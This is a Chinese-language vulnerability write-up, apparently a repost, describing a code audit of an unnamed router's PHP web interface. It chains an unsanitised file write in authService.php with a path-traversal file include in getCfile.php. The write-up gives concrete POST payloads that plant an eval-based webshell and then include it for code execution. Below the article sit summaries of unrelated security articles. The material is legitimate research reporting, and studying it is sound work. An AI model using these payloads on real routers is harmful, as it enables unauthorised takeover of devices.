某路由审计0day之文件包含-2

VSole2021-08-26 15:18:03

01 审计步骤

(一)查找写入文件函数:

自动化审计,在这个/auth_pi/authService.php文件下发现file_put_contents函数可控,跟进该文件。

/auth_pi/authService.php文件的set_authAction方法。在76行的提醒语句也说明了该info文件在user_auth目录下,而且也未对userName进行安全过滤,这里可以任意路径创建文件。

而P方法存在于/mvc/lib/core.function.php的类里面,是用来接收POST传参。

这里注意:包含路径是data下的

利用方式:

1:post请求2:请求参数a=set_auth3:参数为userName、auth

payload:

userName=tr1&auth=20@eval($_POST['w']);?>

(二)查找文件包含函数:

自动化审计,在这个/local/auth/php/getCfile.php文件下发现include 函数可控,跟进该文件。

这个文件通过post方式传参但是并没有对cf参数进行安全过滤

利用方式:

1:post请求2:必须存在tmp/app_auth/cfile目录或者自己创建3:参数为cf、&field=1

payload:

cf=../../../data/tr.info&field=1&w=phpinfo();

说明:这里的文件需要刚刚写文件的文件名

本作品采用《CC 协议》,转载必须注明作者和本文链接
(一)查找写入文件函数: 自动化审计,在这个/auth_pi/authService.php文件下发现file_put_contents函数可控,跟进该文件
用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留。查看下pid所对应的进程文件路径,
可以认为IAM分成两类,一个是AWS提供的IAM,这是一个完整的身份管理系统,但AWS只提供了系统,基于该系统的配置及信息维护,由客户完全负责。AWS 提供了虚拟网络及其之上的VPC,子网,ACL,安全组等,客户需要准确设计配置自己的网络,以确保正确的隔离和防护。用户控制权限的修改通常由特权用户或者管理员组实现。
数字安全时代,数据安全成为继信息安全、网络安全之后新的安全产业轴心。
1.背景介绍 在2020年9月的“Gartner安全风险与管理峰会”上发布的《2020-2021 Top Security Projects》中,首次正式提出“Risk-Based Vulnerability Management”(基于风险的弱点管理)项目,作为TOP 10的第二项(在201...
VPT(漏洞优先级技术)是一个漏洞管理(VM)领域的微创新技术。目前国际上对于VPT的认可度正突飞猛进,但国内尚处于萌芽阶段。
VPT(漏洞优先级技术)是一个漏洞管理(VM)领域的微创新技术。目前国际上对于VPT的认可度正突飞猛进,但国内尚处于萌芽阶段。
CMSV1.0代码审计
2022-04-01 07:10:50
0X01 前言文章先发于先知社区BossCMSV1.0代码审计以下漏洞均已提交CNVD并被收录0X02 后台任意文件上传在后台安全设置处添加允许上传类型.php然后通过ueditor的附件上传即可上传php木马文件getshell确定位置先随意找到上传点
记一次CMS代码审计
2022-11-07 09:52:41
无意中浏览到小众OA官网且可以下载到源码,随机审计一波,最后成功Getshell,大佬勿喷
接下来再看 g 方法,g 方法也是将 f 方法的返回值作为参数传入。 首先第 113 行从配置文件中获取了路由的相关信息,并赋值给 $u。随后 115 行判断传入的 $q 参数,这里判断为 false,不进入语句。 第 119 行将路由信息进行遍历,匹配传入的 url 路径信息。匹配成功则将 url 路径信息中的路由键替换为路由值,最后将替换后的 url 路径信息返回。
VSole
网络安全专家